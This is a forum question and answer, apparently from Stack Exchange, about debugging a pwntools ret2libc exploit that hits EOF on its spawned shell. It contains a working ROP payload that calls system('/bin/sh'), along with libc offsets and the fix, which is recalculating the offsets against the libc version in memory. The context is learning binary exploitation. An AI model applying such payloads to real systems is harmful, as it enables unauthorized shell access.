0

When I run pwntools, I'm getting

[+] Here comes the shell!
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$  

Why is it getting EOF? Where should I start looking for the problem, currently my second payload is

# Build 2nd payload
payload2  =  b'A'*140
ropchain2 =  p32(system_addr)
ropchain2 += p32(exit_addr)
# Optional: Fix disallowed character by scanf by using p32(binsh_addr+5)
#           Thus you'll execute system("sh")
ropchain2 += p32(binsh_addr) 

payload2 = payload2 + ropchain2            
p.sendline(payload2)                       

log.success("Here comes the shell!")       

p.clean()                                  
p.interactive()                            

This is adapted from the Megabeets example with the modification given here

If I print(payload2), I get

b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\xe2\xdd\xf7\xd0\x13\xdd\xf7\xcf\xf0\xf1\xf7'

Which seems correct. The values I used to generate the payload are,

# Addresses                        
puts_plt    = 0x08048390           
puts_got    = 0x0804a014           
entry_point = 0x080483d0           

# Offsets                          
offset_puts       = 0x00067b40     
offset_system     = 0x0003d200     
offset_exit       = 0x000303d0     
offset_str_bin_sh = 0x17e0cf     

1 Answer 1

1

Alright. So the issue here was I think that Radare was addressing libc based on a version on disk. And, the version in memory was different.

Anyway, I restarted the computer and redid the offset math and it worked!

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.